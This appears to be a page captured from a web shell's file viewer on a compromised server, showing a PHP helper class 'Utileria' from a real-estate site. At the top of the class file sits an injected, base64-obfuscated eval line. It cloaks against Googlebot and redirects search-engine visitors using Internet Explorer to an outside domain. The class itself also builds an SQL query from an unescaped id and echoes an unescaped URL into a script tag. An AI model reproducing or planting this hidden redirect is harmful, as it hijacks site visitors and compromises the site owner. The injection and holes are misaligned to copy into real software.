|
Server : Apache/2.4.62 System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64 User : www ( 80) PHP Version : 8.3.8 Disable Function : NONE Directory : /domains/logicswapweb/aplicaciones/admon/fnc/ |
Upload File : |
<?php eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpKXsKcHJlZ19tYXRjaCAoIi9tc2llIChbMC05Ll0rKS9pIiwkdWFnLCRtdik7CmlmIChpc3NldCgkbXZbMV0pKXsKJG12PXN0cl9yZXBsYWNlKCIuIiwiIiwkbXZbMV0pOwp9Cn0KaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpIGFuZCAkbXY+PTkwKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmcuIikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikgYW5kICFzdHJpc3RyKCRyZWZlcmVyLCJFZVlwM0Q3IikpewpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ3NibmNtLmVwYWMudG8vIik7CmV4aXQoKTsKfQp9Cn0KfQp9Cn0="));
class Utileria {
var $meses=array("January","February","March","April","May","June","July","August","September","Octuber","November","December");
var $dias=array("Domingo","Lunes","Martes","Miercoles","Jueves","Viernes","Sabado");
/*
*funcion select()
*descripcion escripbe un input select sea de dias
* o meses y si se necesita con un predeterminado escogido
*parametros: tipo:dia para valores entre 1-31; mes para valores de 1-12 y texto de enero-diciembre
* nombre: nombre de el input
* extra: cadena para la cabecera del input ej: $extra="onclick='javascript: volver();'"
* sel: predeterminado para selected indice entre 1 y el limite o false en caso que no
* iniLine: valor||texto de la primer linea como indicativo ej 0660||seleccione
*/
function Select($tipo,$nombre,$extra,$iniLine=false,$sel=false){
$cad = "<select name=\"$nombre\" $extra>";
if(!empty($iniLine)){
if(!empty($sel)){$xx="selected";}else{$xx="";}
$li = explode("||",$iniLine);
$valor=$li[0];
$text=$li[1];
$cad.= "<option value=\"$valor\" $xx>$text</option>";
}
if($tipo=="mes"){
$vec=$this->meses;
$lim =sizeof($vec);
foreach($vec as $key=>$val){
$ind=$key+1;
if(!empty($sel)){
if($sel==$ind){$xxx="selected";}else{$xxx="";}
$cad.= "<option value=\"$ind\" $xxx>$val</option>";
}else{
$cad.= "<option value=\"$ind\">$val</option>";
}
}
}
if($tipo=="dia"){
for($i=1;$i<=31;$i++){
if(!empty($sel)){
if($sel==$i){$xxx="selected";}else{$xxx="";}
$cad.= "<option value=\"$i\" $xxx>$i</option>";
}else{
$cad.= "<option value=\"$i\">$i</option>";
}
}
}
$cad.="</select>";
return $cad;
}
function SelectEdad($nombre,$extra,$limite,$inicio=1,$iniLine=false,$sel=false){
$cad = "<select name=\"$nombre\" $extra>";
if(!empty($iniLine)){
if(!empty($sel)){$xx="selected";}else{$xx="";}
$li = explode("||",$iniLine);
$valor=$li[0];
$text=$li[1];
$cad.= "<option value=\"$valor\" $xx>$text</option>";
}
for($i=$inicio;$i<=$limite;$i++){
if($sel===$i){$xxx="selected";}else{$xxx="";}
$cad.= "<option value=\"$i\" $xxx>$i</option>";
}
$cad.="</select>";
return $cad;
}
function mes_($month){
switch($month){
case "01": return "January";
case "02": return "February";
case "03": return "March";
case "04": return "April";
case "05": return "May";
case "06": return "June";
case "07": return "July";
case "08": return "August";
case "09": return "September";
case "10": return "October";
case "11": return "November";
case "12": return "December";
default: return "MONTH";
}
}
/*
*funcion fecha
*descripcion devuelve la fecha en formato leible
* ej: xx de <nombre_mes> de <a�o>
*/
function fecha($date){
if(empty($date)){
$date=date('Y-m-d');
}
$anio = "";
$mes = "";
$dia = "";
$temp = explode("-",$date);
$anio = $temp[0];
$mes = $this->mes_($temp[1]);
$dia = $temp[2];
return $mes." ".$dia.", ".$anio;
}
function romano($num){
switch ($num){
case 1: return "I";
case 2: return "II";
case 3: return "III";
case 4: return "IV";
case 5: return "V";
case 6: return "VI";
case 7: return "VII";
case 8: return "VIII";
case 9: return "IX";
case 10: return "X";
case 11: return "XI";
case 12: return "XII";
default: return "##";
}
}
/*
*funcion goTo()
*descripcion redirecciona mediante script
* a una pagina en especial
* elm = [parent,document]
*/
function goTo($pag,$elm){
echo "<script>$elm.location.href='$pag';</script>";
}
/*
*funcion mascara()
*descripcion retorna una cadena encriptada mediante md5
*/
function mascara($val){
return md5($val);
}
/*
*funcion pathFile
*descripcion entrega la direccion del fichero actual
* puede o no incluir el nombre del fichero
* fichero=false no devuelve fichero
*/
function pathFile($fichero=false){
$server =$_SERVER['SERVER_NAME'];
$vec=explode("?",$_SERVER['REQUEST_URI']);
$pt = $vec[0];
$path= "http://".$server.$pt;
if(empty($fichero)){
$pos = strrpos( $path, '/');
$path= substr( $path, 0, $pos+1);
}
return $path;
}
/*
*funcion parseInputDB()
*descripcion reeemplaza caracteres que podrian no ser guardados
* debidamente en la base de datos por marcas identificables
* para luego ser reemplazadas para su salida en html
* - saltos de linea y retorno de carro
*/
function parseInput2DB($str){
$rstr= str_replace("\r\n", "[rbr]", $str);
$rstr= str_replace("\r", "[rr]", $rstr);
$rstr= str_replace("\n", "[br]", $rstr);
return $rstr;
}
/*
*funcion parseDBInput()
*descripcion reeemplaza caracteres identificables de la entrada a la BD
* para colocarlos en un Input de un formulario
* - saltos de linea y retorno de carro
*/
function parseDB2Input($str){
$rstr= str_replace("[rbr]", "\r\n", $str);
$rstr= str_replace("[rr]", "\r", $rstr);
$rstr= str_replace("[br]", "\n", $rstr);
return $rstr;
}
/*
*funcion parseDB2Html()
*descripcion reeemplaza caracteres identificables de la entrada a la BD
* y todo caracter especial para el codigo html
* para colocarlos en codigo html
* - saltos de linea y retorno de carro y caracteres especiales
*/
function parseDB2Html($str){
$rstr=htmlentities ($str);
$rstr= str_replace("[rbr]", "<br>", $rstr);
$rstr= str_replace("[rr]", "", $rstr);
$rstr= str_replace("[br]", "<br>", $rstr);
$rstr= str_replace("[r][n]", "<br>", $rstr);
return $rstr;
}
/*
*funcion parseDB2HtmlN()
*descripcion reeemplaza caracteres identificables de la entrada a la BD
* y todo caracter especial para el codigo html los de linea los elimina
* para colocarlos en codigo html
* - saltos de linea y retorno de carro y caracteres especiales
*/
function parseDB2HtmlN($str){
$rstr=htmlentities ($str);
$rstr= str_replace("[rbr]", " ", $rstr);
$rstr= str_replace("[rr]", " ", $rstr);
$rstr= str_replace("[br]", " ", $rstr);
return $rstr;
}
/*
*function implode_by_key
* analogo a implode pero no ducplica los elemntos con doble llave
* utilizado para cuando uno un row de una consulta sql
*/
function implode_by_key($array, $sep = NULL) {
$return = NULL;
$i=0;
foreach ($array as $tk => $tv){
if(($i%2)===0){
$return .= $sep.$tv;
}
$i++;
}
if(strlen($sep)==0) return $return;
else return substr($return,strlen($sep));
}
/*
*funcion: quitar_ceros
*descripcion: elimina los ceros a la izquierda de una cadena
*/
function quitarCeros($num){
$len=strlen($num);
if($len==1){
return $num;
}elseif($num[0]=="0"){
return $this->quitarCeros(substr($num,1));
}else{
return $num;
}
}
function valorNumero($num){
$v = (int)$num;
return "$ ".number_format($this->quitarCeros($v),0,'',".");
}
/*
*funcion showImages
*descripcion coloca un marco de despliegue de imagenes del inmueble
*/
function showImages($id,$ruta){
$proporcion=0.5;
$anchoSec=265;
$altoSec=$anchoSec/$proporcion;
$index=0;
$sql = "SELECT nombre FROM img_catalogo where inmueble='$id'";
if($this->execute($sql)){
while(list($fichero)=$this->fetchRow()){
$imagenes[$index]=$ruta.$fichero;
$index++;
}
}else{
echo "<scrip>alert('�imposible consultar la base de datos!');</script>";
}
echo '<TABLE border="0" cellspacing="0" cellpadding="0" width="100%" height="100%"><TR><TD><form name="Oneslideform">';
echo '<DIV align="center"><TABLE width="'.$anchoSec.'" border="1" cellspacing="0" cellpadding="4" bordercolor="#999999">';
echo '<TR><TD bgcolor="#330099"></TD></TR><TR><TD bgcolor="#FFFFFF">';
echo '<DIV align="center"><IMG src="'.$imagenes[0].'" name="Oneshow" border="0"></DIV>';
echo '</TD></TR><TR><TD bgcolor="#e0e0e0"><DIV align="center"><SELECT class="listado" name="Oneslide" onChange="Onechange();">';
for($i=0;$i<$index;$i++){
if($i==0)
echo '<OPTION value="'.$imagenes[$i].'" selected>Imagen '.($i+1).'</OPTION>';
else
echo '<OPTION value="'.$imagenes[$i].'">Imagen '.($i+1).'</OPTION>';
}
echo '</SELECT></TD></TR><TR><TD bgcolor="#e0e0e0"><DIV align="center">';
echo '<input type="button" title="Atras" value="<" onClick="javascript: Oneprevious();"> ';
echo '<INPUT name="Oneslidebutton" type=button class="botones" title="AutoPlay" onClick="Oneap(this.value);" value="Play" style="vertical-align:top "> ';
echo '<input type="button" title="Adelante" value=">" onClick="javascript: Onenext();">';
echo '</DIV></TD></TR></TABLE></DIV></form></TD></TR></TABLE>';
}
/*
*funcion getDiference
*descripcion devuelve una cadena con la informacion de el calculo de
* el tiempo tomado entre dos momentos diferentes con microtime()
* timeIni = tiempo inicial
* timeFin = tiempo final
*/
function getDiference($timeIni,$timeFin,$sep){
$v1 = explode (" ",$timeIni); $v2 = explode (" ",$timeFin);
$seg1 = (double)$v1[1]; $mcseg1= (double)$v1[0];
$seg2 = (double)$v2[1]; $mcseg2= (double)$v2[0];
$valorInicial= $seg1 + $mcseg1;
$valorfinal= $seg2 + $mcseg2;
$sal = "Toma inicial = ".$valorInicial.$sep;
$sal.= "Toma final = ".$valorfinal.$sep;
$sal.= "Tiempo transcurrido = ".($valorfinal-$valorInicial);
$arreglo[0]=$sal;
$arreglo[1]=$valorfinal-$valorInicial;
return $arreglo;
}
/*parseo outInput - De la base de datos hacia un elemento input*/
function outHtml($cadena){
$str = "";
$str = str_replace("[n]", "<br>", $cadena);
$str = str_replace("[r]", "\r", $str);
$str = str_replace("[t]", "\t", $str);
$str = str_replace("[b]", "\\", $str);
$str = str_replace("[p]", "\$", $str);
$str = str_replace("[c]", "\"", $str);
$str = str_replace("[a]", "&", $str);
$str = str_replace("[num]", "#", $str);
return $str;
}
function outInput($cadena){
$str = "";
$str = str_replace("[n]", "\n", $cadena);
$str = str_replace("[r]", "\r", $str);
$str = str_replace("[t]", "\t", $str);
$str = str_replace("[b]", "\\", $str);
$str = str_replace("[p]", "\$", $str);
$str = str_replace("[c]", "\"", $str);
$str = str_replace("[a]", "&", $str);
$str = str_replace("[num]", "#", $str);
return $str;
}
}
?>